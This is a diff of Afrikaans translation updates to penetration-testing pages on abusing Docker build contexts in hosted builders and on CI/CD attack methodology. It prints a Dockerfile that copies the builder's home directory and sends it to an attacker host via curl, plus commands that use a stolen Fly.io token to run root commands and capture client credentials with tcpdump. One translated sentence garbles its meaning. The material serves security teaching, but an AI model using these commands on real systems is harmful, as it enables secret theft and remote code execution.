Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p

src/pentesting-ci-cd/docker-build-context-abuse.md

@@ -1,29 +1,29 @@
-# Misbruik van Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
+# Misbruik van Docker Build Context in gehoste builders (Path Traversal, Exfil, and Cloud Pivot)
 
 {{#include ../banners/hacktricks-training.md}}
 
 ## TL;DR
 
-As 'n CI/CD platform of hosted builder bydraers toelaat om die Docker build context path en Dockerfile path te spesifiseer, kan jy dikwels die context stel na 'n ouer-gids (bv., "..") en gasheer-lêers deel van die build context maak. Daarna kan 'n deur die aanvaller beheerde Dockerfile COPY en eksfiltreer geheime wat in die builder gebruiker se tuisgids gevind word (byvoorbeeld, ~/.docker/config.json). Geroofde registry tokens kan ook teen die provider se control-plane APIs werk en org-wye RCE moontlik maak.
+As 'n CI/CD-platform of gehoste builder contributors toelaat om die Docker build context-path en Dockerfile-path te spesifiseer, kan jy dikwels die context op 'n ouer gids stel (bv. "..") en daarmee gasheer-lêers deel van die build context maak. Dan kan 'n kwaadwillige Dockerfile COPY gebruik om sekretes wat in die builder-gebruiker se tuisgids gevind word (bv. ~/.docker/config.json) uit te voer. Gestole registry tokens kan ook werk teen die provider se control-plane APIs, wat org-wye RCE moontlik maak.
 
 ## Aanvalsoppervlak
 
-Baie hosted builder/registry dienste doen grofweg dit wanneer hulle user-submitted images bou:
+Baie gehoste builder/registry-dienste doen ongeveer dit wanneer hulle user-submitted images bou:
 - Lees 'n repo-level config wat insluit:
-- build context path (gestuur na die Docker daemon)
-- Dockerfile path relative to that context
+  - build context path (gestuur na die Docker daemon)
+  - Dockerfile path relatief tot daardie context
 - Kopieer die aangeduide build context directory en die Dockerfile na die Docker daemon
-- Bou die image en draai dit as 'n hosted service
+- Bou die image en hardloop dit as 'n gehoste diens
 
-As die platform nie die build context kanoniseer en beperk nie, kan 'n gebruiker dit stel na 'n plek buite die repository (path traversal), wat veroorsaak dat arbitrêre host-lêers wat deur die build user gelees kan word deel word van die build context en beskikbaar is om te COPY in die Dockerfile.
+As die platform nie die build context kanoniseer en beperk nie, kan 'n gebruiker dit op 'n ligging buite die repository stel (path traversal), wat veroorsaak dat arbitrêre gasheer-lêers wat deur die build-gebruiker gelees kan word deel van die build context word en beskikbaar is vir COPY in die Dockerfile.
 
 Praktiese beperkings wat algemeen waargeneem word:
-- Die Dockerfile moet binne die gekose context path woon en sy pad moet vooraf bekend wees.
-- Die build user moet lees toegang hê tot lêers ingesluit in die context; spesiale device files kan die copy breek.
+- Die Dockerfile moet binne die gekose context-path wees en sy pad moet vooraf bekend wees.
+- Die build-gebruiker moet lees-toegang hê tot lêers wat in die context ingesluit is; spesiale device-lêers kan die copy breek.
 
 ## PoC: Path traversal via Docker build context
 
-Voorbeeld van 'n kwaadwillige server config wat 'n Dockerfile binne die ouer-gids context verklaar:
+Example malicious server config declaring a Dockerfile within the parent directory context:
 ```yaml
 runtime: "container"
 build:
@@ -40,11 +40,11 @@ required: ["apiKey"]
 exampleConfig:
 apiKey: "sk-example123"
 ```
-Aantekeninge:
-- Die gebruik van ".." lei dikwels na die builder-gebruiker se tuisgids (bv. /home/builder), wat tipies sensitiewe lêers bevat.
+Notes:
+- Die gebruik van ".." verwys dikwels na die builder-gebruiker se tuisgids (bv. /home/builder), wat tipies sensitiewe lêers bevat.
 - Plaas jou Dockerfile onder die repo se gidsnaam (bv. repo "test" → test/Dockerfile) sodat dit binne die uitgebreide ouer-konteks bly.
 
-## PoC: Dockerfile to ingest and exfiltrate the host context
+## PoC: Dockerfile om die gasheer-konteks in te neem en te eksfiltreer
 ```dockerfile
 FROM alpine
 RUN apk add --no-cache curl
@@ -52,34 +52,34 @@ RUN mkdir /data
 COPY . /data                      # Copies entire build context (now builder’s $HOME)
 RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
 ```
-Teikens wat algemeen vanaf $HOME herstel word:
+Teikens wat algemeen van $HOME teruggevind word:
 - ~/.docker/config.json (registry auths/tokens)
 - Ander cloud/CLI caches en configs (bv. ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
 
-Wenk: Selfs met 'n .dockerignore in die repository, bepaal die kwesbare platform-side context selection steeds wat na die daemon gestuur word. As die platform die gekose pad na die daemon kopieer voordat dit jou repo’s .dockerignore evalueer, kan host-lêers steeds blootgestel word.
+Wenk: Alhoewel daar 'n .dockerignore in die repository is, bepaal die kwesbare platform-kant konteksseleksie steeds wat na die daemon gestuur word. As die platform die gekose pad na die daemon kopieer voordat dit jou repo se .dockerignore evalueer, kan host-lêers steeds blootgestel word.
 
-## Cloud pivot with overprivileged tokens (example: Fly.io Machines API)
+## Cloud pivot with overprivileged tokens (voorbeeld: Fly.io Machines API)
 
-Sommige platforms gee 'n enkele bearer token uit wat gebruik kan word vir beide die container registry en die control-plane API. As jy 'n registry token exfiltreer, probeer dit teen die provider API.
+Sommige platforms gee 'n enkele bearer token wat vir beide die container registry en die control-plane API gebruik kan word. As jy 'n registry token exfiltrate, probeer dit teen die provider API.
 
-Voorbeeld API-oproepe teen Fly.io Machines API wat die gesteelde token vanaf ~/.docker/config.json gebruik:
+Voorbeeld API-aanroepe teen Fly.io Machines API wat die gestole token uit ~/.docker/config.json gebruik:
 
-Enumereer apps in 'n org:
+Lys apps in 'n org:
 ```bash
 curl -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps?org_slug=smithery"
 ```
-Voer 'n opdrag as root uit in enige masjien van 'n app:
+Voer 'n kommando as root binne enige masjien van 'n app uit:
 ```bash
 curl -s -X POST -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
 --data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
 ```
-Uitkoms: organisasie-wyd remote code execution oor alle gehoste apps waar die token voldoende voorregte het.
+Uitkoms: organisasie-wyd remote code execution oor alle gehoste apps waar die token voldoende bevoegdhede het.
 
-## Geheimdiefstal vanaf gekompromitteerde gehoste dienste
+## Diefstal van geheime vanaf gekompromitteerde gehoste dienste
 
-Met exec/RCE op gehoste servers kan jy deur kliënte verskafde geheime (API keys, tokens) oes of prompt-injection-aanvalle uitvoer. Voorbeeld: installeer tcpdump en vang HTTP-verkeer op poort 8080 om inbound credentials te onttrek.
+Met exec/RCE op gehoste bedieners kan jy deur kliënte verskafde geheime (API keys, tokens) insamel of prompt-injection-aanvalle uitvoer. Voorbeeld: installeer tcpdump en vang HTTP-verkeer op port 8080 om inkomende kredensiale te onttrek.
 ```bash
 # Install tcpdump inside the machine
 curl -s -X POST -H "Authorization: Bearer fm2_..." \
@@ -91,7 +91,7 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
 --data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
 ```
-Opgevangen versoeke bevat dikwels client credentials in headers, bodies of query params.
+Gevangde versoeke bevat dikwels client credentials in headers, bodies, of query params.
 
 ## Verwysings
 

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

@@ -6,51 +6,51 @@
 
 ## VCS
 
-VCS staan vir **Version Control System**, hierdie stelsels laat ontwikkelaars toe om hul **bronkode te bestuur**. Die mees algemene is **git** en jy sal gewoonlik maatskappye vind wat dit gebruik op een van die volgende **platforms**:
+VCS staan vir Version Control System; hierdie stelsels laat ontwikkelaars toe om hul bronkode te bestuur. Die mees algemene is **git** en jy sal gewoonlik maatskappye vind wat dit op een van die volgende **platforms** gebruik:
 
 - Github
 - Gitlab
 - Bitbucket
 - Gitea
 - Gitblit
-- Cloud providers (they offer their own VCS platforms)
+- Cloud providers (hulle bied hul eie VCS-platforms aan)
 
 
 ## CI/CD Pipelines
 
-CI/CD pipelines stel ontwikkelaars in staat om die **uitvoering van kode te outomatiseer** vir verskeie doeleindes, insluitend bou, toetsing en ontplooiing van toepassings. Hierdie geoutomatiseerde workflows word **getriggers deur spesifieke aksies**, soos code pushes, pull requests of geskeduleerde take. Hulle help om die proses van ontwikkeling na produksie te stroomlyn.
+CI/CD pipelines maak dit vir ontwikkelaars moontlik om die uitvoering van kode te **outomatiseer** vir verskeie doeleindes, insluitend bou, toetsing en ontplooiing van toepassings. Hierdie geoutomatiseerde workflows word **getrigger deur spesifieke aksies**, soos code pushes, pull requests of geskeduleerde take. Hulle help om die proses van ontwikkeling na produksie te stroomlyn.
 
-Hierdie stelsels moet egter **ergens uitgevoer word** en gewoonlik met **bevoorregte credentials om kode te ontplooi of sensitiewe inligting te bereik**.
+Meg diestelsels moet egter **nerens uitgevoer word** en gewoonlik met **bevoorregte credentials om kode te ontplooi of sensitiewe inligting te bereik**.
 
-## VCS Pentesting Metodologie
+## VCS Pentesting Methodology
 
 > [!NOTE]
-> Selfs al laat sommige VCS platforms toe om pipelines te skep, gaan ons in hierdie afdeling slegs potensiële aanvalle ontleed wat op die beheer van die bronkode fokus.
+> Selfs al laat sommige VCS-platforms toe om pipelines te skep, gaan ons in hierdie afdeling slegs potensiële aanvalle op die beheer van die bronkode ontleed.
 
-Platforme wat die bronkode van jou projek bevat, hou sensitiewe inligting en mense moet baie versigtig wees met die permissies wat binne hierdie platform gegee word. Dit is 'n paar algemene probleme oor VCS-platforms wat 'n aanvaller kan misbruik:
+Platforms wat die bronkode van jou projek bevat, hou sensitiewe inligting en mense moet baie versigtig wees met die permissies wat binne daardie platform gegee word. Dit is sommige algemene probleme oor VCS-platforms wat 'n aanvaller kan misbruik:
 
-- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
-- **Toegang**: As 'n aanvaller toegang tot 'n rekening binne die VCS-platform kry, kan hy **meer sigbaarheid en permissies** verkry.
-- **Registrasie**: Sommige platforms laat bloot eksterne gebruikers toe om 'n rekening te skep.
-- **SSO**: Sommige platforms sal gebruikers nie toelaat om te registreer nie, maar sal enigiemand met 'n geldige SSO toelaat om in te gaan (byvoorbeeld 'n aanvaller kan sy Github-rekening gebruik om toegang te kry).
+- **Leaks**: As jou kode leaks in die commits bevat en die aanvaller toegang tot die repo het (omdat dit publiek is of omdat hy toegang het), kan hy die leaks ontdek.
+- **Access**: As 'n aanvaller toegang tot 'n rekening binne die VCS-platform kry, kan hy **meer sigbaarheid en permissies** bekom.
+- **Register**: Sommige platforms sal net buitegebruikers toelaat om 'n rekening te skep.
+- **SSO**: Sommige platforms sal nie gebruikers toelaat om te registreer nie, maar sal enigiemand toelaat om met 'n geldige SSO in te gaan (so 'n aanvaller kan byvoorbeeld sy github-rekening gebruik om in te gaan).
 - **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... daar is verskeie soorte tokens wat 'n gebruiker kan steel om op een of ander manier toegang tot 'n repo te kry.
-- **Webhooks**: VCS platforms laat toe om webhooks te genereer. As hulle **nie beskerm** is met nie-sigbare secrets nie, **kan 'n aanvaller hulle misbruik**.
-- As geen geheim in plek is nie, kan die aanvaller die webhook van die derdeparty-platform misbruik.
+- **Webhooks**: VCS-platforms laat toe om webhooks te genereer. As hulle **nie beskerm** is met nie-sigbare secrets nie, kan 'n **aanvaller hulle misbruik**.
+- As geen geheim ingestel is nie, kan die aanvaller die webhook van die derdeparty-platform misbruik.
 - As die geheim in die URL is, gebeur dieselfde en die aanvaller het ook die geheim.
-- **Code compromise:** As 'n kwaadwillige akteur 'n vorm van **write** toegang oor die repos het, kan hy probeer om **kwaadaardige kode te inject**. Om suksesvol te wees, mag hy nodig hê om **branch protections te omseil**. Hierdie aksies kan met verskillende doelwitte uitgevoer word:
+- **Code compromise:** As 'n kwaadwillige akteur 'n soort **skryf** toegang oor die repos het, kan hy probeer om **kwaadaardige kode in te voeg**. Om suksesvol te wees mag hy die **branch protections** moet omseil. Hierdie aksies kan vir verskeie doelwitte uitgevoer word:
   - Kompromitteer die main branch om **produksie te kompromitteer**.
-  - Kompromitteer die main (of ander branches) om **ontwikkelaars se masjiene te kompromitteer** (aangesien hulle gewoonlik toetse, terraform of ander dinge binne die repo op hul masjiene uitvoer).
-- **Kompromitteer die pipeline** (sien volgende afdeling)
+  - Kompromitteer die main (of ander branches) om **ontwikkelaars se masjiene te kompromitteer** (aangesien hulle gewoonlik teste, terraform of ander dinge binne die repo op hul masjiene uitvoer).
+  - **Compromise the pipeline** (kyk volgende afdeling)
 
-## Pipelines Pentesting Metodologie
+## Pipelines Pentesting Methodology
 
-Die mees algemene manier om 'n pipeline te definieer, is deur 'n **CI-konfigurasielêer wat in die repository gehuisves is** te gebruik. Hierdie lêer beskryf die volgorde van uitgevoerde jobs, toestande wat die vloei beïnvloed, en bou-omgewinginstellings.\
-Hierdie lêers het tipies 'n konsekwente naam en formaat, byvoorbeeld — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), en die GitHub Actions YAML-lêers onder .github/workflows. Wanneer getrigger, sal die pipeline job die **kode pull** vanaf die gekose bron (bv. commit / branch), en **voer die opdragte wat in die CI-konfigurasielêer gespesifiseer is** teen daardie kode uit.
+Die mees algemene manier om 'n pipeline te definieer, is deur gebruik te maak van 'n **CI configuration file gehost in die repository** wat die pipeline bou. Hierdie lêer beskryf die volgorde van uitgevoerde jobs, voorwaardes wat die vloei beïnvloed, en build-omgewinginstellings.\
+Hierdie lêers het tipies 'n konsekwente naam en formaat, byvoorbeeld — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), en die GitHub Actions YAML-lêers onder .github/workflows. Wanneer dit getrigger word, **pulls die pipeline job die kode** van die gekose bron (bv. commit / branch), en **voer die opdragte wat in die CI-konfigurasielêer gespesifiseer is** teen daardie kode uit.
 
-Dus is die uiteindelike doel van die aanvaller om op een of ander wyse daardie konfigurasielêers of die opdragte wat hulle uitvoer, te **kompromitteer**.
+Dus is die uiteindelike doel van die aanvaller om op een of ander manier daardie konfigurasielêers of die opdragte wat hulle uitvoer, te **kompromitteer**.
 
 > [!TIP]
-> Sommige gehoste builders laat contributors toe om die Docker build context en Dockerfile path te kies. As die context aanvallers-beheerd is, kan jy dit buite die repo stel (bv. "..") om host-lêers tydens build in te sluk en secrets uit te voer. Sien:
+> Sommige gehoste builders laat contributors toe om die Docker build context en Dockerfile path te kies. As die context deur die aanvaller beheer word, kan jy dit buite die repo stel (bv. "..") om host-lêers tydens build in te neem en secrets te eksfiltreer. Sien:
 >
 >{{#ref}}
 >docker-build-context-abuse.md
@@ -58,48 +58,48 @@ Dus is die uiteindelike doel van die aanvaller om op een of ander wyse daardie k
 
 ### PPE - Poisoned Pipeline Execution
 
-Die Poisoned Pipeline Execution (PPE) pad benut permissies in 'n SCM-repository om 'n CI-pipeline te manipuleer en skadelike opdragte uit te voer. Gebruikers met die nodige permissies kan CI-konfigurasielêers of ander lêers wat deur die pipeline job gebruik word, wysig om kwaadwillige opdragte in te sluit. Dit "vergiftig" die CI-pipeline, wat tot die uitvoering van hierdie kwaadwillige opdragte lei.
+Die Poisoned Pipeline Execution (PPE) path misbruik permissies in 'n SCM repository om 'n CI pipeline te manipuleer en kwaadaardige opdragte uit te voer. Gebruikers met die nodige permissies kan CI-konfigurasielêers of ander lêers wat deur die pipeline job gebruik word, wysig om kwaadwillige opdragte in te sluit. Dit "vergiftig" die CI-pipeline, wat lei tot die uitvoering van hierdie kwaadwillige opdragte.
 
-Vir 'n kwaadwillige akteur om suksesvol 'n PPE-aanval uit te voer, moet hy in staat wees om:
+Vir 'n kwaadwillige akteur om suksesvol 'n PPE-aanval uit te voer, moet hy:
 
-- Skryf toegang te hê tot die VCS-platform, aangesien pipelines gewoonlik getrigger word wanneer 'n push of 'n pull request uitgevoer word. (Sien die VCS pentesting metodologie vir 'n opsomming van maniere om toegang te kry).
-- Let wel dat soms 'n **eksterne PR as "skryf toegang" kan tel**.
-- Selfs as hy skryfpermissies het, moet hy seker maak dat hy die CI-konfigurasielêer of ander lêers waarop die konfigurasie staatmaak, **kan wysig**.
-- Hiervoor mag hy in staat wees om **branch protections te omseil**.
+- Heb **write access to the VCS platform**, aangesien pipelines gewoonlik getrigger word wanneer 'n push of 'n pull request uitgevoer word. (Kyk die VCS pentesting methodology vir 'n samevatting van maniere om toegang te kry).
+- Let daarop dat soms 'n **external PR as "write access" tel**.
+- Selfs as hy write-permissies het, moet hy seker wees dat hy die **CI config file of ander lêers waarop die config staatmaak** kan wysig.
+- Hiervoor mag hy die **branch protections** moet kan omseil.
 
-Daar is 3 PPE-variante:
+Daar is 3 PPE-smake:
 
-- **D-PPE**: 'n **Direct PPE** aanval gebeur wanneer die akteur die **CI-konfig** lêer wysig wat uitgevoer gaan word.
-- **I-DDE**: 'n **Indirect PPE** aanval gebeur wanneer die akteur 'n **lêer** wysig waarop die CI-konfig lêer wat uitgevoer gaan word, **verwys** (soos 'n make-lêer of 'n terraform-config).
-- **Public PPE or 3PE**: In sommige gevalle kan pipelines **getrigger word deur gebruikers wat geen write toegang tot die repo het nie** (en wat moontlik nie eers deel van die org is nie) omdat hulle 'n PR kan stuur.
-- **3PE Command Injection**: Gewoonlik stel CI/CD pipelines **omgewingveranderlikes** met **inligting oor die PR**. As daardie waarde deur 'n aanvaller beheer kan word (soos die titel van die PR) en dit in 'n **gevaarlike plek** gebruik word (soos die uitvoer van **sh commands**), kan 'n aanvaller **opdragte daarin inject**.
+- **D-PPE**: 'n **Direct PPE** aanval vind plaas wanneer die akteur die **CI config** lêer wysig wat uitgevoer gaan word.
+- **I-DDE**: 'n **Indirect PPE** aanval gebeur wanneer die akteur 'n **lêer** wysig waarop die CI config lêer wat uitgevoer gaan word **berus** (soos 'n make-lêer of 'n terraform-konfig).
+- **Public PPE or 3PE**: In sommige gevalle kan pipelines **getrigger word deur gebruikers wat nie write access in die repo het nie** (en wat dalk nie eers deel van die org is nie) omdat hulle 'n PR kan stuur.
+- **3PE Command Injection**: Gewoonlik stel CI/CD pipelines **environment variables** met **inligting oor die PR**. As daardie waarde deur 'n aanvaller beheer kan word (soos die titel van die PR) en dit in 'n **gevaarlike plek** gebruik word (soos die uitvoering van **sh commands**), kan 'n aanvaller **opdragte daarin injekteer**.
 
 ### Exploitation Benefits
 
-Deur die 3 variante te ken om 'n pipeline te vergiftig, kom ons kyk wat 'n aanvaller kan verkry na 'n suksesvolle uitbuiting:
+Deur die 3 smake om 'n pipeline te vergiftig te ken, kom ons kyk wat 'n aanvaller na 'n suksesvolle uitbuiting kan bekom:
 
-- **Secrets**: Soos reeds genoem, vereis pipelines **privileges** vir hul jobs (kode ophaal, bou, ontplooi, ens.) en hierdie privileges word gewoonlik in **secrets** gestoor. Hierdie secrets is tipies toeganklik via **env variables of lêers binne die stelsel**. Daarom sal 'n aanvaller altyd probeer om soveel secrets as moontlik uit te voer.
-- Afhangende van die pipeline platform mag die aanvaller **moet spesifiseer watter secrets in die config** is. Dit beteken dat as die aanvaller nie die CI-konfigurasielêer kan wysig nie (**I-PPE** byvoorbeeld), hy slegs die secrets wat daardie pipeline het, kan exfiltrateer.
-- **Rekenvermoë**: Die kode word elders uitgevoer; afhangende van waar dit uitgevoer word, mag 'n aanvaller verder kan pivot.
-- **On-Premises**: As die pipelines op ondernemingsinfrastruktuur uitgevoer word, kan 'n aanvaller in 'n **interne netwerk met toegang tot meer hulpbronne** eindig.
-- **Cloud**: Die aanvaller kan toegang kry tot **ander masjiene in die cloud** en ook IAM-rolle/service accounts **tokens** uit dwarsoor die omgewing exfiltrateer om verdere toegang in die cloud te bekom.
-- **Platform se masjien**: Soms sal die jobs binne die **pipelines platform se masjiene** uitgevoer word, wat gewoonlik in 'n cloud sit en **geen verdere toegang** het nie.
-- **Kies dit:** Soms het die **pipelines platform verskeie masjiene geconfigureer** en as jy die CI-konfigurasielêer kan wysig, kan jy aandui waar jy die kwaadwillige kode wil laat loop. In so 'n situasie sal 'n aanvaller waarskynlik 'n reverse shell op elke moontlike masjien laat loop om dit verder te probeer benut.
-- **Kompromitteer produksie**: As jy binne die pipeline is en die finale weergawe daarvandaan gebou en ontplooi word, kan jy die kode wat in produksie gaan hardloop, **kompromitteer**.
+- **Secrets**: Soos vroeër genoem, vereis pipelines **bevoegdhede** vir hul jobs (haal die kode, bou dit, ontplooi dit ...) en hierdie bevoegdhede word gewoonlik in **secrets** gehou. Hierdie secrets is gewoonlik toeganklik via **env variables of lêers binne die stelsel**. Daarom sal 'n aanvaller altyd probeer om soveel secrets as moontlik te eksfiltreer.
+- Afhangend van die pipeline platform mag die aanvaller **die secrets in die config moet spesifiseer**. Dit beteken as die aanvaller nie die CI-konfigurasielêer kan wysig nie (**I-PPE** byvoorbeeld), kan hy **slegs die secrets eksfiltreer wat daardie pipeline het**.
+- **Computation**: Die kode word êrens uitgevoer; afhangend van waar dit uitgevoer word, mag 'n aanvaller verder kan pivot.
+- **On-Premises**: As die pipelines on-premises uitgevoer word, kan 'n aanvaller in 'n **interne netwerk met toegang tot meer hulpbronne** beland.
+- **Cloud**: Die aanvaller kan toegang tot **ander masjiene in die cloud** kry, maar ook IAM roles/service accounts **tokens** daaruit eksfiltreer om **verdere toegang in die cloud** te verkry.
+- **Platforms machine**: Soms word die jobs binne die **pipelines platform machines** uitgevoer, wat gewoonlik in 'n cloud is met **geen verdere toegang**.
+- **Select it:** Soms het die **pipelines platform verskeie masjiene geconfigureer** en as jy die **CI config file** kan wysig, kan jy **aandui waar jy die kwaadwillige kode wil laat loop**. In daardie situasie sal 'n aanvaller waarskynlik 'n reverse shell op elke moontlike masjien laat loop om dit verder te probeer uitbuit.
+- **Compromise production**: As jy binne die pipeline is en die finale weergawe daargebou en ontplooi word, kan jy die **kode wat in produksie gaan loop compromise**.
 
 ## Meer relevante inligting
 
 ### Tools & CIS Benchmark
 
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is 'n open-source hulpmiddel om jou software supply chain stack vir sekuriteitskompliance te oudit gebaseer op 'n nuwe [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Die oudit fokus op die hele SDLC-proses, waar dit risiko's kan openbaar vanaf code-tyd tot ontplooiingstyd.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is 'n open-source tool vir die ouditering van jou software supply chain stack vir sekuriteitskompliance gebaseer op 'n nuwe [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Die oudit fokus op die hele SDLC-proses, waar dit risiko's van code-time tot deploy-time kan onthul.
 
 ### Top 10 CI/CD Security Risk
 
-Kyk na hierdie interessante artikel oor die top 10 CI/CD-risiko's volgens Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
+Kyk hierdie interessante artikel oor die top 10 CI/CD risiko's volgens Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
 
 ### Labs
 
-- Op elke platform wat jy plaaslik kan laat loop sal jy instruksies vind oor hoe om dit plaaslik te begin sodat jy dit kan konfigureer soos jy wil om dit te toets
+- Op elke platform wat jy lokaal kan laat loop, sal jy instruksies vind oor hoe om dit plaaslik te begin sodat jy dit kan konfigureer soos jy wil om dit te toets.
 - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
 
 ### Automatic Tools

src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md

@@ -4,7 +4,7 @@
 
 ## Oorsig
 
-Amazon Bedrock is 'n volledig bestuurde diens wat dit maklik maak om generatiewe AI-toepassings te bou en te skaal deur gebruik te maak van fundasiemodelle (FMs) van toonaangewende AI-startups en Amazon. Bedrock bied toegang tot verskeie FMs deur 'n enkele API, wat ontwikkelaars in staat stel om die mees geskikte model vir hul spesifieke gebruiksgevalle te kies sonder om die onderliggende infrastruktuur te bestuur.
+Amazon Bedrock is 'n volledig bestuurde diens wat dit maklik maak om generatiewe AI-toepassings te bou en te skaal deur gebruik te maak van foundation models (FMs) van vooraanstaande AI-startups en Amazon. Bedrock bied toegang tot verskeie FMs deur 'n enkele API, wat ontwikkelaars in staat stel om die mees geskikte model vir hul spesifieke gebruiksgevalle te kies sonder om die onderliggende infrastruktuur te bestuur.
 
 ## Post Exploitation